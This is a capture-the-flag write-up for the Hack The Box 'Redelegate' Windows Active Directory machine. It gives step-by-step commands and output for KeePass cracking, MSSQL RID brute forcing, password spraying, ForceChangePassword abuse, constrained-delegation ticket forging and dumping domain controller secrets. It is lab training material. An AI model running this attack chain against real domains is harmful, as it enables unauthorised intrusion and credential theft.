• HTB
  • writeup
  • Windows
  • Constrained Delegation
  • Active
  • Directory

HTB Writeup - Redelegate


No Spoilers Hints

  • Weak passwords are common and reused across services offering an easy entry.
  • ACLs are often mismanaged and provide way too much control, or a way to get more control.

Enumeration

Begin the challenge by starting with nmap as usual.

PORT     STATE SERVICE       REASON          VERSION
21/tcp   open  ftp           syn-ack ttl 127 Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 10-20-24  01:11AM                  434 CyberAudit.txt
| 10-20-24  05:14AM                 2622 Shared.kdbx
|_10-20-24  01:26AM                  580 TrainingAgenda.txt
53/tcp   open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp   open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp   open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-05-22 22:11:17Z)
135/tcp  open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: redelegate.vl, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds? syn-ack ttl 127
464/tcp  open  kpasswd5?     syn-ack ttl 127
593/tcp  open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped    syn-ack ttl 127
1433/tcp open  ms-sql-s      syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2026-05-22T22:11:49+00:00; +5m05s from scanner time.
| ms-sql-info: 
|   10.129.234.50:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ms-sql-ntlm-info: 
|   10.129.234.50:1433: 
|     Target_Name: REDELEGATE
|     NetBIOS_Domain_Name: REDELEGATE
|     NetBIOS_Computer_Name: DC
|     DNS_Domain_Name: redelegate.vl
|     DNS_Computer_Name: dc.redelegate.vl
|     DNS_Tree_Name: redelegate.vl
|_    Product_Version: 10.0.20348
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-05-22T22:10:48
| Not valid after:  2056-05-22T22:10:48
| MD5:     3189 8724 24d4 c0c7 0375 6c01 c9d9 b643
| SHA-1:   ab5f 8379 3bb5 f311 9c01 829d 2dee b03a c936 40e4
| SHA-256: a745 c82d 1def ac3b 4646 d980 cba4 3738 ff06 d582 2ff2 18e7 5c5d bd49 c0c4 e715
3268/tcp open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: redelegate.vl, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped    syn-ack ttl 127
3389/tcp open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
|_ssl-date: 2026-05-22T22:11:48+00:00; +5m04s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: REDELEGATE
|   NetBIOS_Domain_Name: REDELEGATE
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: redelegate.vl
|   DNS_Computer_Name: dc.redelegate.vl
|   DNS_Tree_Name: redelegate.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2026-05-22T22:11:39+00:00
| ssl-cert: Subject: commonName=dc.redelegate.vl
| Issuer: commonName=dc.redelegate.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-05-21T22:08:12
| Not valid after:  2026-11-20T22:08:12
| MD5:     0ed6 8811 5fd5 d368 3bd7 b881 9563 8a29
| SHA-1:   f192 0531 03bc d6ac 104f bff0 8834 dbf1 9eaa 97eb
| SHA-256: f0ec 06b9 676c 2630 6bb1 3cae 6cb5 0f33 1bf8 3620 062f d489 34fb d792 3d08 390c
5985/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 41886/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 24029/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 15429/udp): CLEAN (Failed to receive data)
|   Check 4 (port 57876/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
|_clock-skew: mean: 5m04s, deviation: 0s, median: 5m04s
| smb2-time: 
|   date: 2026-05-22T22:11:41
|_  start_date: N/A

This is pretty typical of an HTB active directory machine; LDAP, Simple DNS Plus, Kerberos, etc. Additionally, it has MSSQL and FTP that is allowing anonymous access.

Firstly, we add the DNS names to our /etc/hosts file to make this easier.

FTP Enumeration

Lowest hanging fruit first, we explore FTP, and download the only files we have available to us:

CyberAudit.txt
Shared.kdbx
TrainingAgenda.txt

The commands are simple, using ftp <target_ip> then log in with anonymous and leaving the password empty. It’s important when downloading a file like *.kbdx that you put yourself in Binary mode for the download using BIN.

ftp 10.129.234.50
Connected to 10.129.234.50.
220 Microsoft FTP Service
Name (10.129.234.50:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> bin
200 Type set to I.
ftp>

Getting into binary mode will fix errors you may get later when trying to interact with the KeePass database.

Reading all files is important too, especially since these are related to employee security and security auditing, all of which reveal interesting information to us.

cat *.txt
OCTOBER 2024 AUDIT FINDINGS

[!] CyberSecurity Audit findings:

1) Weak User Passwords
2) Excessive Privilege assigned to users
3) Unused Active Directory objects
4) Dangerous Active Directory ACLs

[*] Remediation steps:

1) Prompt users to change their passwords: DONE
2) Check privileges for all users and remove high privileges: DONE
3) Remove unused objects in the domain: IN PROGRESS
4) Recheck ACLs: IN PROGRESS

EMPLOYEE CYBER AWARENESS TRAINING AGENDA (OCTOBER 2024)

Friday 4th October  | 14.30 - 16.30 - 53 attendees
"Don't take the bait" - How to better understand phishing emails and what to do when you see one


Friday 11th October | 15.30 - 17.30 - 61 attendees
"Social Media and their dangers" - What happens to what you post online?


Friday 18th October | 11.30 - 13.30 - 7 attendees
"Weak Passwords" - Why "SeasonYear!" is not a good password 


Friday 25th October | 9.30 - 12.30 - 29 attendees
"What now?" - Consequences of a cyber attack and how to mitigate them

It’s funny to me that there were only 7 people going to a meeting entitled “Weak Passwords”, a relatively low number of attendees in comparison to the other training sessions. Not only amusing how real this is, but very telling that there will still be a lot of password reuse in the environment.

We can trivially create a wordlist to fit the requirements of this password for later spraying:

Summer2025!
Fall2025!
Autumn2025!
Spring2025!
Winter2024!
Summer2024!
Fall2024!
Autumn2024!
Spring2024!
Winter2025!
Winter2023!
Summer2023!
Fall2023!
Autumn2023!
Spring2023!

The box was released in 2025, and I;m doing it in 2026, but I made the assumption the year would be 2025 or less just because of it’s release date. Also, use both Fall and Autumn even though that is the same thing but different English speaking countries use the terms interachangeably. Good idea to use both just in case.

The KeePass file we have is locked by password so the only option we have at the moment without creds is to attempt to open it. First, we clip the hash out of it using keepass2john:

keepass2john Shared.kbdx > Shared.kbdx.hash

Then use john to crack it using the above wordlist which I called seasons.lst:

john --fork=4 --wordlist=./seasons.lst Shared.kbdx.hash 

That gave me the password and was able to successfully open the Shared.kbdx file with keepassxc Shared.kdbx. Within the KeePass db, there are a few folders for “IT”, “HelpDesk” and “Finance” with a few usernames and passwords in each. It’s then a matter of trying each one found for usable creds across as many services as possible. All but one actually works and it’s the credential titled “SQL Guest Access” for the SQLGuest user.

We validate that the password works by using impacket-mssqlclient:

impacket-mssqlclient 'redelegate.vl/SQLGuest:REDACTED'@10.129.234.50
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (SQLGuest  guest@master)>

First things I tried after enumeration was xp_cmdshell and xp_dirtree which was unable to execute commands, and even though I could get the sql_svc hash via responder, I couldn’t crack it. However, mssql actually has a way to do a RID brute force, as is possible using Metasploit:

msfconsole -q
msf > use auxiliary/admin/mssql/mssql_enum_domain_accounts
msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > set PASSWORD REDACTED 
msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > set USERNAME SQLGuest
msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > set RHOSTS 10.129.234.50
msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > run
[*] Running module against 10.129.234.50
[*] 10.129.234.50:1433 - Attempting to connect to the database server at 10.129.234.50:1433 as SQLGuest...
[+] 10.129.234.50:1433 - Connected.
[*] 10.129.234.50:1433 - SQL Server Name: WIN-Q13O908QBPG
[*] 10.129.234.50:1433 - Domain Name: REDELEGATE
[+] 10.129.234.50:1433 - Found the domain sid: 010500000000000515000000a185deefb22433798d8e847a
[*] 10.129.234.50:1433 - Brute forcing 10000 RIDs through the SQL Server, be patient...
[*] 10.129.234.50:1433 -  - WIN-Q13O908QBPG\Administrator
[*] 10.129.234.50:1433 -  - REDELEGATE\Guest
[*] 10.129.234.50:1433 -  - REDELEGATE\krbtgt
[*] 10.129.234.50:1433 -  - REDELEGATE\Domain Admins
[*] 10.129.234.50:1433 -  - REDELEGATE\Domain Users
[*] 10.129.234.50:1433 -  - REDELEGATE\Domain Guests
[*] 10.129.234.50:1433 -  - REDELEGATE\Domain Computers
[*] 10.129.234.50:1433 -  - REDELEGATE\Domain Controllers
[*] 10.129.234.50:1433 -  - REDELEGATE\Cert Publishers
[*] 10.129.234.50:1433 -  - REDELEGATE\Schema Admins
[*] 10.129.234.50:1433 -  - REDELEGATE\Enterprise Admins
[*] 10.129.234.50:1433 -  - REDELEGATE\Group Policy Creator Owners
[*] 10.129.234.50:1433 -  - REDELEGATE\Read-only Domain Controllers
[*] 10.129.234.50:1433 -  - REDELEGATE\Cloneable Domain Controllers
[*] 10.129.234.50:1433 -  - REDELEGATE\Protected Users
[*] 10.129.234.50:1433 -  - REDELEGATE\Key Admins
[*] 10.129.234.50:1433 -  - REDELEGATE\Enterprise Key Admins
[*] 10.129.234.50:1433 -  - REDELEGATE\RAS and IAS Servers
[*] 10.129.234.50:1433 -  - REDELEGATE\Allowed RODC Password Replication Group
[*] 10.129.234.50:1433 -  - REDELEGATE\Denied RODC Password Replication Group
[*] 10.129.234.50:1433 -  - REDELEGATE\SQLServer2005SQLBrowserUser$WIN-Q13O908QBPG
[*] 10.129.234.50:1433 -  - REDELEGATE\DC$
[*] 10.129.234.50:1433 -  - REDELEGATE\FS01$
[*] 10.129.234.50:1433 -  - REDELEGATE\Christine.Flanders
[*] 10.129.234.50:1433 -  - REDELEGATE\Marie.Curie
[*] 10.129.234.50:1433 -  - REDELEGATE\Helen.Frost
[*] 10.129.234.50:1433 -  - REDELEGATE\Michael.Pontiac
[*] 10.129.234.50:1433 -  - REDELEGATE\Mallory.Roberts
[*] 10.129.234.50:1433 -  - REDELEGATE\James.Dinkleberg
[*] 10.129.234.50:1433 -  - REDELEGATE\Helpdesk
[*] 10.129.234.50:1433 -  - REDELEGATE\IT
[*] 10.129.234.50:1433 -  - REDELEGATE\Finance
[*] 10.129.234.50:1433 -  - REDELEGATE\DnsAdmins
[*] 10.129.234.50:1433 -  - REDELEGATE\DnsUpdateProxy
[*] 10.129.234.50:1433 -  - REDELEGATE\Ryan.Cooper
[*] 10.129.234.50:1433 -  - REDELEGATE\sql_svc

We get a bunch of users and groups which we can then further spray passwords against using netexec to find valid passwords for users.

nxc smb 10.129.234.50 -u users.lst -p seasons.lst --continue-on-success

We only get 1 hit and that’s reuse of the password that unlocked the KeePass db, not even one of the passwords we pulled from the db! Now we have the Marie.Curie user account password. However, this user is still not able to log on to any of the services provided by the machine directly, but since the account and password is valid, we can at least use rusthound to get all the data for Bloodhound now:

rusthound -d redelegate.vl -i 10.129.234.50 -u 'Marie.Curie' -p 'REDACTED' -z -f 10.129.234.50

This gives us a .zip file full of AD enumeration which we can pull up in the Bloodhound GUI and analyze.

Bloodhound gives us a path to explore with the Shortest Paths from Owned objects default query:

Marie.Curie --MemberOf--> HelpDesk
HelpDesk -->ForceChangePassword--> Helen.Frost
Helen.Frost --MemberOf--> IT
IT --GenericAll--> FS01

Now, that in itself is not a domain compromise at all, but having GenericAll over a computer account and the box being called Redelegate indicates that it’s likely going to be a constrained delegation at some point.

Lateral Movement to another user account

Bloodhound gives us the exact path to follow to compromise the Helen.Frost account. We can simply do:

impacket-getTGT redelegate.vl/Marie.Curie:'REDACTED'
export KRB5CCNAME=$(pwd)/Marie.Curie.ccache
bloodyAD -d redelegate.vl -k --host 'dc.redelegate.vl' set password "Helen.Frost" 'Pentester1'

And with these 3 commands alone, we get a TGT as our currently compromised user, Marie.Curie, create a local environment variable to hold a reference to the Kerberos ticket, then use the ticket with bloodyAD to abuse the ForceChangePassword that Marie.Curie inherits over Helen.Frost.

We can repeat the same step with impacket-getTGT for Helen.Frost so we can use her ticket again later. At this point in time, knowing this user account’s password, since we set it, we can also log in via winrm and capture the user flag as this user.

Privilege Escalation via Constrained Delegation

This ends up being a simple process, but there are a few commands to get through to get it to work:

bloodyAD -d redelegate.vl -k --host 'dc.redelegate.vl' set password "FS01$" 'Pentester1'
[+] Password changed successfully!

Firstly, as before, we need to set a password for the computer account as the Helen.Frost user. Then we need to set the AD attribute to allow for the constrained delegation using that computer object.

bloodyAD -d redelegate.vl -k --host 'dc.redelegate.vl' add uac 'FS01$' -f TRUSTED_TO_AUTH_FOR_DELEGATION
[-] ['TRUSTED_TO_AUTH_FOR_DELEGATION'] property flags added to FS01$s userAccountControl

bloodyAD -d redelegate.vl -k --host 'dc.redelegate.vl' set object 'FS01$' msDS-AllowedToDelegateTo -v 'cifs/dc.redelegate.vl'
[+] FS01$'s msDS-AllowedToDelegateTo has been updated

Then importantly, unset:

unset KRB5CCNAME

This needs to be unset otherwise you’ll get a name mismatch error on the next command:

impacket-getST redelegate.vl/'FS01$':'Pentester1' -spn 'cifs/dc.redelegate.vl' -impersonate dc
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating dc
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc@[email protected]

Then we apply this new ticket into our session:

export KRB5CCNAME=$(pwd)/dc@[email protected]

Then dump the DC secrets with:

impacket-secretsdump -k dc.redelegate.vl

One of the secrets is the domain admin hash which can be used with evil-winrm to log in and collect the final flag.